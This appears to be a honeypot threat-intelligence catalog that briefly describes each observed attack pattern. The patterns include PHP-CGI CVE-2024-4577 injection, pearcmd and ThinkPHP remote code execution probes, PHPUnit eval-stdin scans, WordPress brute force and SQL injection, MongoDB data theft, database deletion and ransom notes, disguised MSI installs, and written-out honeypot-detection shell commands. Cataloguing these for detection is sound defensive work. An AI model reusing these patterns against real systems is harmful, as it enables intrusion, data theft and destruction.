https — HTTPS request to /openapi.json path.
https — HTTPS request to /remote/login path.
https — HTTPS request to /robots.txt path.
https — HTTPS request targeting the root path /, observed as a direct URI access within the web request stream.
https — HTTPS request targeting /sse path, indicating direct access attempt to server-sent events (SSE) endpoint.
https — HTTPS request to /swagger.json.
https — HTTPS request targeting /wp-admin/setup-config.php, a WordPress installation configuration endpoint, observed as a direct URI access within the web request stream.
https — PHP payload invoking shell_exec with base64_decode, executing a remote command and echoing an MD5 marker (Hello CVE-2024-4577), indicating exploitation attempt and remote code execution via encoded payload.
https — Matches a URL-encoded attempt to inject PHP runtime directives via query/body parameters, specifically enabling allow_url_include=1 and setting auto_prepend_file=php://input. This is a classic PHP configuration injection technique used to force PHP to execute attacker-supplied code from the HTTP request body (via php://input). It is commonly seen in exploitation attempts against misconfigured or vulnerable PHP-CGI / parameter injection scenarios
https — Request with lang=../../../../../../../../tmp/index1, indicating a local file inclusion attempt targeting /tmp/index1, likely to execute a previously written payload.
https — Request to /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within an admin directory’s vendor path, commonly associated with remote code execution probing.
https — Request to /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within an API directory’s vendor path, commonly associated with remote code execution probing.
https — Request to /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within an apps/vendor directory structure, commonly associated with remote code execution probing.
https — Request to /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within an application vendor directory, commonly associated with remote code execution probing.
https — Request to /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a backup directory’s vendor path, commonly associated with remote code execution probing.
https — Request to /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a blog application’s vendor directory, commonly associated with remote code execution probing.
https — Request to /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a CMS application’s vendor directory, commonly associated with remote code execution probing.
https — Request to /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a CRM application’s vendor directory, commonly associated with remote code execution probing.
https — Request to /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a demo environment’s vendor directory, commonly associated with remote code execution probing.
https — Request to /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a Laravel project’s vendor directory, commonly associated with remote code execution probing.
https — Request to /lib/phpunit/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a lib directory, commonly associated with remote code execution probing.
https — Request to /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a lib/vendor directory structure, commonly associated with remote code execution probing.
https — Request to /vendor/phpunit/phpunit/LICENSE/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint located in a non-standard LICENSE directory, commonly associated with remote code execution probing.
https — Request to /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a nested vendor directory, commonly associated with remote code execution probing.
https — Request to /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a panel/vendor directory structure, commonly associated with remote code execution probing.
https — Request to /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a publicly exposed vendor directory, commonly associated with remote code execution probing.
https — Matches an HTTPS request targeting the exposed PHPUnit utility script vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php. This file has been widely abused in real-world attacks to achieve remote code execution when PHPUnit is left accessible in production environments. Attackers leverage this endpoint to submit arbitrary PHP code via the request body for execution. Requests to this path are strong indicators of automated exploitation scanning targeting misconfigured or development-deployed PHP applications.
https — Request to /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a testing directory’s vendor path, commonly associated with remote code execution probing.
https — Request to /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a test environment directory, commonly associated with remote code execution probing.
https — Request to /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a test directory, commonly associated with remote code execution probing.
https — Request to /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a versioned (V2) application directory, commonly associated with remote code execution probing.
https — Request to /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a Drupal project’s vendor directory, commonly associated with remote code execution probing.
https — Request to /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a nested ws/ec/vendor directory structure, commonly associated with remote code execution probing.
https — Request to /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a ws/vendor directory structure, commonly associated with remote code execution probing.
https — Request to /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a www/vendor directory structure, commonly associated with remote code execution probing.
https — Request to /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a Yii project’s vendor directory, commonly associated with remote code execution probing.
https — Request to /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access attempt to a PHPUnit eval-stdin execution endpoint within a Zend project’s vendor directory, commonly associated with remote code execution probing.
https — Request to /public/index.php, indicating access to a common publicly exposed application entry point, often used in frameworks like Laravel or Symfony for routing and request handling.
https — HTTPS query string containing import&raw, observed within the request URL as client-supplied parameters.
https — Identifies HTTPS requests leveraging directory traversal in the lang parameter to reach pearcmd, followed by a config-create invocation containing inline PHP code (e.g., <?echo(md5("hi"));?>) written to a temporary file. This pattern is consistent with exploitation attempts targeting PHP environments to achieve remote code execution via exposed PEAR utilities
https — HTTPS request query string containing inline PHP code invoking shell_exec(base64_decode(...)) followed by echo(md5("Hello CVE-2024-4577")). Represents a direct PHP code execution payload embedded in the query component, combining obfuscated command execution via base64 decoding with an MD5 proof-of-execution marker referencing CVE-2024-4577.
https — HTTPS request query string containing the value @zdi/Powershell.
https — HTTPS request contains query string parameter lang=en.
https — Identifies HTTP requests containing the ThinkPHP invokefunction invocation pattern (/index/\think\app/invokefunction) using call_user_func_array to execute md5, a commonly observed proof-of-execution probe used in ThinkPHP remote code execution exploitation attempts.
https — HTTPS request body contains 0x%5B%5D=androxgh0st.
https — HTTPS request body consists of a single colon character (:)
https — Matches inbound HTTPS requests where the target URI path is exactly /fetch. This primitive helps identify probing or automated access attempts against applications exposing resource retrieval or API-style fetch endpoints over encrypted transport.
https — Matches inbound HTTPS requests where the requested URI path is exactly /my.policy. This primitive helps identify automated probing, configuration discovery attempts, or scripted access to policy or metadata-style endpoints exposed over encrypted web services.
https — Request to /sslvpn_logon.shtml, indicating probing for SSL VPN login portals (commonly associated with network security appliances such as Fortinet or SonicWall).
https — Request to /sslvpn, indicating probing for SSL VPN portals or exposed remote access interfaces.
http — Request to /.streamlit/secrets.toml, indicating access attempt to Streamlit’s secrets configuration file containing sensitive credentials or keys.
https — HTTPS request targeting the VS Code SFTP configuration path (/.vscode/sftp.json), indicating probing for exposed deployment or credential configuration files.
http — HTTP query string targeting s=/index/\think\app/invokefunction with parameters function=call_user_func_array and vars[0]=md5 and vars[1][]=Hello. Represents a direct ThinkPHP invokefunction invocation attempt leveraging call_user_func_array to execute the md5 function with attacker-supplied arguments, commonly used as a proof-of-execution marker in remote code execution probes.
http — HTTP POST request attempting WordPress authentication using username admin and the common weak password, including wp-submit, redirect_to=/wp-admin/, and testcookie=1 parameters. Indicates automated credential stuffing or default password brute-force targeting WordPress login endpoints.
http — Matches HTTP POST body patterns consistent with WordPress login attempts where credentials are submitted as URL-encoded form fields (log for username/email and pwd for password), including optional parameters such as wp-submit, testcookie, and redirect_to. Useful for detecting automated authentication attempts or credential stuffing against WordPress admin portals.
http — Matches URL-encoded HTTP POST bodies consistent with WordPress authentication form submissions where the standard login parameters (log, pwd, wp-submit, testcookie, redirect_to) may appear in any order. This primitive helps identify scripted or automated authentication attempts against WordPress admin login workflows that do not follow a fixed parameter sequence.
http — Matches HTTP POST body patterns targeting the WordPress Smart Manager woo-json.php endpoint where the edited parameter contains URL-encoded SQL injection content using a UNION SELECT SLEEP() time-delay payload. This primitive is useful for identifying automated exploitation attempts or manual probing activity attempting to validate SQL injection vulnerability through response timing manipulation.
http — HTTP POST to /xmlrpc.php invoking metaWeblog.newPost via XML-RPC, including structured post fields (title, description, mt_keywords, mt_excerpt) and authentication parameters. This exact request format indicates automated content posting via XML-RPC.
imap — Matches IMAP AUTHENTICATE command arguments specifying the CRAM-MD5 SASL mechanism. This captures authentication attempts using challenge-response MD5 hashing for credential verification prior to mailbox access.
imap — Detects use of the IMAP CAPABILITY command to enumerate server-supported features and authentication mechanisms during session initialization or reconnaissance.
imap — Matches the IMAP AUTHENTICATE command issued by a client to initiate SASL-based authentication. This command begins an authentication exchange using a specified mechanism (e.g., PLAIN, LOGIN, CRAM-MD5, XOAUTH2) prior to mailbox access.
imap — Matches the IMAP EXPUNGE command issued by a client to permanently remove all messages marked with the \Deleted flag from the currently selected mailbox. This action results in irreversible message deletion within the active mailbox context.
imap — Detects use of the IMAP ID command with a NIL argument, indicating a client probing server support for client identification and metadata exchange, often used during capability discovery or fingerprinting.
imap — IMAP LOGOUT command issued to terminate the session and close the connection
imap — Matches the IMAP mailbox action EXPUNGE, where the client permanently removes all messages previously marked with the \Deleted flag from the currently selected mailbox. This action triggers irreversible message deletion within the active mailbox context.
imap — Matches the IMAP mailbox action SELECT, where a client opens a mailbox and sets it as the active context for subsequent operations. This action transitions the session into a selected state, enabling message enumeration (SEARCH), retrieval (FETCH), flag modification (STORE), and related mailbox operations.
imap — Matches an IMAP mailbox action where the client issues SELECT against the INBOX mailbox. This captures explicit selection of the primary mailbox, transitioning the session into selected state for subsequent message operations.
imap — Matches IMAP SEARCH command arguments specifying CHARSET UTF-8 with filters UNDELETED and SINCE <date>. This pattern captures mailbox queries requesting non-deleted messages since a specific date using UTF-8 charset, typically used for chronological message enumeration or inbox harvesting
imap — Matches a client-issued IMAP SEARCH command (RFC 3501) used to retrieve message sequence numbers or UIDs matching specified criteria within the selected mailbox. Commonly used for message discovery, mailbox enumeration, or targeted email harvesting attempts.
imap — Matches a client-issued IMAP SELECT <mailbox> command (RFC 3501) used to open a mailbox and make it the currently selected mailbox for read-write access
imap — Matches IMAP SELECT command arguments specifying the INBOX mailbox. This captures explicit selection of the primary mailbox, typically preceding message enumeration (SEARCH, FETCH) or bulk retrieval activity.
imap — Detects use of the IMAP STARTTLS command to request an upgrade of the plaintext connection to TLS, commonly issued during session initialization to assess transport security support.
ssh — Execution of journalctl -n 50 2>/dev/null | grep -iE 'cowrie|kippo|honeypot|endlessh' | head -3 to retrieve the 50 most recent systemd journal entries and search for case-insensitive references to common honeypot identifiers, returning the first three matches. This pattern reflects active runtime fingerprinting of deception frameworks by inspecting recent system logs rather than static filesystem artifacts.
ssh — Execution of test -f /opt/kippo/kippo.cfg && echo 1 || echo 0 to verify the presence of Kippo’s default configuration file and return a boolean-style numeric indicator. The conditional echo 1 || echo 0 suggests automated evaluation of the result, reflecting targeted detection of a Kippo honeypot deployment prior to continued attacker activity.
ssh — Execution of test -f /var/log/kippo/kippo.log && echo FOUND to verify the presence of Kippo’s default log file and emit a marker string if found. This pattern reflects targeted detection of a Kippo honeypot deployment by checking for its standard runtime log artifact prior to continued attacker interaction.
mongodb — Client issues the MongoDB buildInfo command against the admin database to retrieve detailed server build and version metadata, including MongoDB release version, compilation options, architecture, and runtime environment characteristics. This primitive represents environment fingerprinting and service reconnaissance activity where a client attempts to identify software versioning and deployment details to inform compatibility checks, vulnerability assessment, or subsequent exploitation attempts.
mongodb — Captures execution of the MongoDB {"buildinfo": 1} command against the admin database with an attached logical session identifier (lsid). This primitive reflects server version and build metadata enumeration performed within an authenticated or session-aware context, commonly used by client drivers, automation frameworks, or reconnaissance tooling to fingerprint MongoDB deployment characteristics such as version, compilation environment, and feature support.
mongodb — Client issues the MongoDB buildInfo command to retrieve server version and build metadata such as release number, architecture, compilation flags, and runtime environment details. This primitive represents service fingerprinting and environment reconnaissance activity where a client attempts to identify MongoDB deployment characteristics prior to compatibility checks, vulnerability assessment, or further database interaction.
mongodb — Issues a buildInfo command against the db database to retrieve MongoDB server build and version metadata, including compilation details and runtime environment information. The request includes a logical session identifier (lsid), indicating execution within a session-tracked MongoDB connection context.
mongodb — Issues the MongoDB buildInfo command to retrieve detailed server build and version metadata from the target MongoDB instance. This includes information such as MongoDB version, compilation options, architecture, and build environment, which can be used during reconnaissance to fingerprint the deployment and identify potential version-specific vulnerabilities or misconfigurations.
mongodb — Issues a collStats command against the admin database to retrieve collection-level statistics and storage metadata. The request includes a logical session identifier (lsid), indicating execution within a session-tracked MongoDB connection context.
mongodb — Issues a collStats command targeting the config database to retrieve collection-level statistics and storage metadata. The request includes a logical session identifier (lsid), indicating execution within a session-tracked MongoDB connection context.
mongodb — Issues a collStats command targeting the local database to retrieve collection-level statistics and storage metadata. The request includes a logical session identifier (lsid), indicating execution within a session-tracked MongoDB connection context.
mongodb — Issues a collStats command targeting the production database to retrieve collection-level statistics such as storage metrics, document counts, index details, and namespace metadata. The request includes a logical session identifier (lsid), indicating execution within a session-tracked MongoDB connection context.
mongodb — Issues a collStats command targeting the test database to retrieve collection-level statistics such as storage metrics, document counts, index information, and namespace metadata. The request includes a logical session identifier (lsid), indicating execution within a session-tracked MongoDB connection context.
mongodb — Issues a dbStats command targeting the admin database to retrieve database-level statistics such as storage usage, object counts, and operational metadata. The request includes a logical session identifier (lsid), indicating execution within an authenticated or session-tracked MongoDB connection context.
mongodb — Client issues the MongoDB dbstats command against the admin database to retrieve database-level statistics such as storage size, object counts, index usage, and allocation metrics. The request includes a logical session identifier (lsid), indicating use of modern MongoDB session semantics. This primitive represents post-handshake reconnaissance or environment enumeration activity where a client attempts to gather structural and capacity information about the MongoDB deployment.
mongodb — Issues a dbStats command targeting the config database to retrieve database-level statistics such as storage metrics, object counts, and namespace metadata. The request includes a logical session identifier (lsid), indicating execution within a session-tracked MongoDB connection context.
mongodb — Client issues the MongoDB dbstats command against the config database to retrieve storage and object statistics related to cluster metadata collections. The request includes a logical session identifier (lsid), indicating use of session-aware MongoDB protocol features. This primitive reflects deployment reconnaissance activity where a client attempts to assess sharding configuration state, metadata footprint, and overall database allocation characteristics prior to further interaction.
mongodb — Issues a dbStats command targeting the local database to retrieve database-level statistics such as storage usage, object counts, and namespace metadata. The request includes a logical session identifier (lsid), indicating execution within a session-tracked MongoDB connection context.
mongodb — Client issues the MongoDB dbstats command against the local database to retrieve statistics related to node-local storage structures such as replication oplog size, object counts, and allocation metrics. The request includes a logical session identifier (lsid), indicating use of session-aware MongoDB protocol features. This primitive reflects deployment and replication-context reconnaissance where a client attempts to assess local node state and storage characteristics prior to further database interaction.
mongodb — Issues a dbStats command targeting the production database to retrieve database-level statistics such as storage usage, object counts, and namespace metadata. The request includes a logical session identifier (lsid), indicating execution within a session-tracked MongoDB connection context.
mongodb — Client issues the MongoDB dbstats command against the production database to retrieve storage statistics such as data size, object counts, index footprint, and allocation metrics. The request includes a logical session identifier (lsid), indicating use of modern session-aware MongoDB protocol features. This primitive reflects application-dataset reconnaissance activity where a client attempts to assess the scale and structure of a production database prior to further enumeration or data access attempts.
mongodb — Issues a dbStats command targeting the test database to retrieve database-level statistics including storage metrics, object counts, and namespace information. The request includes a logical session identifier (lsid), indicating execution within a session-tracked MongoDB connection context.
mongodb — Client issues the MongoDB dbstats command against the test database to retrieve storage statistics such as data size, object counts, index usage, and allocation metrics. The request includes a logical session identifier (lsid), indicating use of session-aware MongoDB protocol features. This primitive reflects environment reconnaissance activity where a client attempts to assess the presence, scale, or usage characteristics of a default or development-oriented database prior to further enumeration or data access attempts.
mongodb — Client issues a MongoDB dropDatabase command targeting the local database, indicating an attempt to delete the entire node-local database and its collections. The request includes a logical session identifier (lsid) and an optional comment field set to null, reflecting use of modern MongoDB session-aware protocol features. This primitive represents destructive database manipulation activity where a client attempts to remove replication state, operational logs, and other local metadata from the MongoDB instance.
mongodb — Client issues a MongoDB dropDatabase command targeting the production database, indicating an attempt to delete the entire production dataset and all associated collections. The request includes a logical session identifier (lsid) and an optional comment field set to null, reflecting use of modern MongoDB session-aware protocol features. This primitive represents high-impact destructive activity where a client attempts to remove application data, transactional records, and operational state from a live production environment.
mongodb — Client issues a MongoDB dropDatabase command targeting the test database, indicating an attempt to delete the entire test or development dataset and all associated collections. The request includes a logical session identifier (lsid) and an optional comment field set to null, reflecting use of modern MongoDB session-aware protocol features. This primitive represents destructive database manipulation activity where a client attempts to remove non-production data used for experimentation, validation, or staging purposes.
mongodb — Captures execution of the MongoDB endSessions command targeting the admin database, where a client requests termination of one or more logical session identifiers (lsid). This primitive reflects session lifecycle management activity that may occur during connection teardown, driver cleanup routines, authentication workflow handling, or automated probing sequences that explicitly close server-side sessions after capability or topology interaction.
mongodb — Issues a features command against the db database to query supported MongoDB server feature flags and capability metadata. The request includes a logical session identifier (lsid), indicating execution within a session-tracked MongoDB connection context.
mongodb — Client issues a MongoDB find query against the api_keys collection in the production database using an empty filter, indicating an attempt to enumerate stored API credential records. The request includes a logical session identifier (lsid), reflecting use of modern MongoDB session semantics. This primitive represents sensitive application-credential reconnaissance activity where a client attempts to retrieve authentication tokens, key metadata, or access-control artifacts from a production dataset.
mongodb — Client issues a MongoDB find query against the audit_logs collection in the production database using an empty filter, indicating an attempt to enumerate application audit trail records. The request includes a logical session identifier (lsid), reflecting use of modern MongoDB session semantics. This primitive represents operational and security-event reconnaissance activity where a client attempts to retrieve historical action logs, access records, or system event metadata from a production environment.
mongodb — Client issues a MongoDB find query against the customers collection in the production database using an empty filter, indicating an attempt to enumerate all customer records within the application dataset. The request includes a logical session identifier (lsid), reflecting use of session-aware MongoDB protocol features. This primitive represents application data reconnaissance activity where a client attempts to access bulk customer information such as identities, contact data, or account metadata from a production environment.
mongodb — Client issues a MongoDB find query against the orders collection in the production database using an empty filter, indicating an attempt to enumerate all order or transaction records within the application dataset. The request includes a logical session identifier (lsid), reflecting use of session-aware MongoDB protocol features. This primitive represents application data reconnaissance activity where a client attempts to retrieve bulk transactional information such as purchase history, order metadata, or financial workflow records from a production environment.
mongodb — Client issues a MongoDB find query against the payments collection in the production database using an empty filter, indicating an attempt to enumerate stored payment or financial transaction records. The request includes a logical session identifier (lsid), reflecting use of modern MongoDB session semantics. This primitive represents financially sensitive data reconnaissance activity where a client attempts to access billing details, transaction metadata, or payment workflow information from a production dataset.
mongodb — Client issues a MongoDB find query against the sample collection in the test database using an empty filter, indicating an attempt to enumerate all documents within a default or example dataset. The request includes a logical session identifier (lsid), reflecting use of modern MongoDB session semantics. This primitive represents exploratory data reconnaissance activity where a client attempts to access example or test records to understand database content and structure.
mongodb — Client issues a MongoDB find query against the secrets collection in the production database using an empty filter, indicating an attempt to enumerate stored sensitive configuration or credential material. The request includes a logical session identifier (lsid), reflecting use of modern MongoDB session semantics. This primitive represents high-risk data reconnaissance activity where a client attempts to access confidential artifacts such as tokens, private keys, passwords, or internal service credentials from a production dataset.
mongodb — Client issues a MongoDB find query against the sessions collection in the production database using an empty filter, indicating an attempt to enumerate active or historical session records. The request includes a logical session identifier (lsid), reflecting use of modern MongoDB session-aware protocol features. This primitive represents authentication-context reconnaissance activity where a client attempts to retrieve session tokens, login state artifacts, or user session metadata from a production application dataset.
mongodb — Client issues a MongoDB find query against the startup_log collection in the local database using an empty filter, indicating an attempt to retrieve server startup history records. The request includes a logical session identifier (lsid), reflecting use of session-aware MongoDB protocol features. This primitive represents environment fingerprinting and operational reconnaissance activity where a client attempts to obtain version details, configuration parameters, and historical startup context from the MongoDB node.
mongodb — Client issues a MongoDB find query against the system.users collection within the admin database using an empty filter, indicating an attempt to enumerate all stored database user accounts. The request includes a logical session identifier (lsid), reflecting use of session-aware MongoDB protocol features. This primitive represents sensitive authentication-surface reconnaissance where a client seeks to retrieve credential metadata, role assignments, and user configuration details from the administrative namespace.
mongodb — Client issues a MongoDB find query against the system.version collection in the admin database using an empty filter, indicating an attempt to retrieve server configuration and version-related metadata. The request includes a logical session identifier (lsid), consistent with modern MongoDB session usage. This primitive reflects environment fingerprinting or deployment reconnaissance activity where a client attempts to identify database version details and internal configuration state.
mongodb — Client issues a MongoDB find query against the users collection in the production database using an empty filter, indicating an attempt to enumerate all application user records. The request includes a logical session identifier (lsid), reflecting use of modern MongoDB session semantics. This primitive represents application-level data reconnaissance activity where a client attempts to retrieve account data, profile information, or authentication-related records from a production dataset.
mongodb — MongoDB getLog command requesting startupWarnings, used to retrieve diagnostic messages generated when the database started. While legitimate for administration and troubleshooting, requests from unknown sources can indicate probing for configuration details or potential weaknesses.
mongodb — Captures execution of the MongoDB {"getnonce": 1} command, which requests an authentication nonce from the server as part of legacy challenge–response authentication workflows. This primitive reflects early-stage connection or authentication probing where a client or automated scanner attempts to initiate an authentication exchange and verify server responsiveness or configuration.
mongodb — Client issues the MongoDB hello command as part of the initial wire-protocol handshake to determine server role, topology characteristics, and supported protocol features. This primitive represents service validation and deployment fingerprinting activity where a client attempts to confirm MongoDB exposure and gather compatibility information prior to authentication attempts or further database reconnaissance.
mongodb — Captures a MongoDB topology discovery handshake using the legacy-compatible {"ismaster": 1, "helloOk": true} command that includes detailed client metadata identifying the PyMongo driver (PyMongo|c version 4.13.2) running on CPython 3.13.3 in a Linux x86_64 environment within a Kubernetes-orchestrated container. This primitive reflects initial server capability negotiation and environment fingerprint disclosure performed by modern MongoDB client stacks during connection establishment or automated reconnaissance workflows.
mongodb — Issues a hostInfo command against the db database to retrieve host-level environment details such as operating system information, hardware characteristics, and runtime process metadata. The request includes a logical session identifier (lsid), indicating execution within a session-tracked MongoDB connection context.
mongodb — Identifies a MongoDB wire protocol operation where an insert command targets a database explicitly named READ__ME_TO_RECOVER_YOUR_DATA, a well-known ransom-style database name used in automated MongoDB extortion campaigns. This behavior indicates that the attacker has unauthenticated or weakly authenticated access to the MongoDB instance and is attempting to create or modify a ransom note collection (typically README) instructing the victim to pay for data recovery. This activity is strongly associated with opportunistic internet-wide scanning and mass exploitation of exposed MongoDB services
mongodb — MongoDB isMaster command used by clients to check server status, capabilities, and replica role before running further operations. It’s a normal handshake step in the MongoDB protocol, but when seen from unknown internet sources it often reflects automated discovery or probing of exposed database instances.
mongodb — Issues an isMaster command against the db database to query MongoDB server topology and role metadata such as primary or secondary status, connection capabilities, and handshake-related information. The request includes a logical session identifier (lsid), indicating execution within a session-tracked MongoDB connection context.
mongodb — Executes the MongoDB isMaster command with helloOk:true and a client metadata object that explicitly declares driver.name:"PyMongo|c" and env.container.orchestrator:"kubernetes" in the request payload. This primitive captures the submission of driver identification and container orchestration environment metadata during the initial MongoDB server capability and topology negotiation exchange.
mongodb
mongodb — Client sends a MongoDB ismaster / hello handshake command for server capability discovery using the PyMongo driver. The probe includes detailed client metadata such as driver name and version (PyMongo), CPython runtime details, and Linux OS fingerprint (kernel version and architecture). This primitive represents initial connection negotiation and environment fingerprinting activity used to determine server role, protocol compatibility, and available features prior to authentication or further database interaction.
mongodb — Captures a MongoDB {"isMaster": 1} (hello / topology discovery) command that includes explicit client metadata identifying the mgo driver with version string globalsign, running on a Linux amd64 environment. This primitive reflects client capability negotiation and server topology probing where the actor discloses driver implementation details and operating system architecture as part of the initial connection handshake or automated reconnaissance workflow.
mongodb — Client sends a MongoDB isMaster / hello handshake command using the MongoDB C driver (mongoc) while disclosing detailed client fingerprint metadata including driver version, Linux distribution (Debian), architecture (x86_64), compiler information, and supported compression options. This primitive represents initial service validation and environment fingerprinting activity where a client attempts to determine server role, protocol compatibility, and deployment characteristics prior to authentication attempts or further database reconnaissance.
mongodb — Issues an isMaster (hello handshake) command that includes helloOk:true and attempts speculative authentication using the SCRAM-SHA-256 mechanism against the admin database, advertising supported SASL mechanisms (admin.admin) and providing client metadata indicating the official MongoDB Go driver running on Linux (amd64), likely from a containerized environment. This primitive reflects early-stage authentication negotiation and capability probing during connection establishment.
mongodb — Client issues a MongoDB ismaster / hello handshake command targeting the admin database while including topologyVersion tracking fields and maxAwaitTimeMS, indicating use of modern streaming topology monitoring semantics. The request is used to determine server role, replica-set state, and topology change notifications within the administrative namespace. This primitive reflects advanced deployment reconnaissance and cluster-state discovery activity typically performed by automated drivers, monitoring tooling, or pre-exploitation scanning frameworks validating MongoDB exposure and configuration.
mongodb — Client sends a MongoDB listCollections command to the admin database requesting collection enumeration with the nameOnly flag enabled. The request includes a logical session identifier (lsid) and an empty cursor specification, indicating intent to retrieve only collection names without detailed metadata. This primitive reflects database structure reconnaissance activity where a client attempts to discover available collections within the administrative database scope.
mongodb — Client sends a MongoDB listCollections command to the config database requesting enumeration of collection names with the nameOnly flag enabled. The request includes an empty cursor specification and a logical session identifier (lsid), indicating use of modern MongoDB session semantics. This primitive reflects cluster metadata reconnaissance activity where a client attempts to discover internal sharding and configuration collections present in the deployment.
mongodb — Client sends a MongoDB listCollections command to the local database requesting enumeration of collection names with the nameOnly option enabled. The request includes an empty cursor specification and a logical session identifier (lsid), indicating use of modern MongoDB session semantics. This primitive reflects node-level reconnaissance activity where a client attempts to discover internal replication and local-state collections present on the MongoDB instance.
mongodb — Client sends a MongoDB listCollections command to the production database requesting enumeration of collection names with the nameOnly flag enabled. The request includes an empty cursor specification and a logical session identifier (lsid), indicating use of session-aware MongoDB protocol features. This primitive reflects application data-structure reconnaissance activity where a client attempts to discover available collections within a production dataset prior to targeted queries or data access attempts.
mongodb — Client sends a MongoDB listCollections command to the test database requesting enumeration of collection names with the nameOnly option enabled. The request includes an empty cursor specification and a logical session identifier (lsid), indicating use of modern MongoDB session semantics. This primitive reflects development-dataset reconnaissance activity where a client attempts to discover available collections within a default or testing database prior to targeted queries or further interaction.
mongodb — Client issues the MongoDB listDatabases command against the admin database with the nameOnly option enabled and a logical session identifier (lsid), indicating an attempt to enumerate database names without retrieving detailed size or metadata information. This primitive represents structured database surface reconnaissance activity where a client attempts to map available administrative and application datasets prior to targeted collection enumeration or data access attempts.
mongodb — Client issues the MongoDB listDatabases command to enumerate all databases present on the server instance. This request is typically performed during early-stage reconnaissance
mongodb — Issues the MongoDB listDatabases command to enumerate all databases available on the target MongoDB instance. This command is commonly used during reconnaissance to identify accessible database names, assess exposure of administrative functionality, and prepare for further data discovery or exploitation attempts.
mongodb — Captures execution of the MongoDB {"listDatabases": 1, "nameOnly": true} command against the admin database within a logical session context (lsid). This primitive reflects database enumeration activity where a client, automated tool, or reconnaissance workflow requests a lightweight listing of available database names without size or statistics metadata, typically used for environment discovery, access validation, or capability assessment.
mongodb — Client issues the MongoDB listDatabases command using BSON numeric encoding ($numberLong) to enumerate all databases present on the server instance. This primitive reflects database surface discovery and environment reconnaissance activity where a client attempts to identify available administrative, application, or test datasets prior to targeted enumeration or data access attempts.
mongodb — Client issues a MongoDB insert command targeting a database named READ_ME_TO_RECOVER_YOUR_DATA, attempting to create or populate a README collection with ransom note content. The request includes ordered write semantics and a logical session identifier (lsid), reflecting use of modern MongoDB protocol features. This primitive represents database extortion or data-wiping campaign activity where an attacker attempts to leave recovery instructions after unauthorized access, deletion, or encryption of database contents.
mongodb — Issues a saslContinue authentication command using the SCRAM-SHA-256 mechanism targeting the admin database. The request includes a conversationId value and a base64-encoded SCRAM payload as part of the MongoDB SASL authentication message exchange, reflecting credential verification activity within an authentication session context.
mongodb
mongodb — Client issues the MongoDB serverStatus command to retrieve detailed operational metrics about the database instance, including connections, memory usage, storage engine statistics, replication state, and runtime performance counters. This primitive represents environment profiling and deployment reconnaissance activity where a client attempts to gather internal state and capacity information prior to targeted enumeration, abuse, or exploitation of the MongoDB service.
mongodb — Issues a serverStatus command against the db database to retrieve server-level operational metrics and runtime status information. The request includes a logical session identifier (lsid), indicating execution within a session-tracked MongoDB connection context.
mongodb — Client issues the MongoDB serverStatus command using a floating-point numeric value (1.0) to request detailed operational metrics about the database instance, including connection counts, memory usage, storage engine statistics, replication state, and runtime performance counters. This primitive reflects environment profiling and service reconnaissance activity where a client attempts to gather internal state and capacity information prior to targeted enumeration or further database interaction.
smb — mshta.exe executing inline VBScript that spawns cmd.exe to iterate over host:port pairs and silently install remote .png-disguised MSI payloads via msiexec /i over HTTP
mssql — MSSQL command set arithabort on observed within the SQL session, enabling termination of a query when an overflow or divide-by-zero error occurs during execution. This primitive represents the exact session-level command as received by the database honeypot, captured strictly as raw query activity without attribution or interpretation.
mssql — MSSQL command set textsize observed within the SQL session to modify the maximum size of text or image data returned by queries. This primitive captures the exact command content as executed by the client, represented strictly as raw database activity without attribution or interpretation.
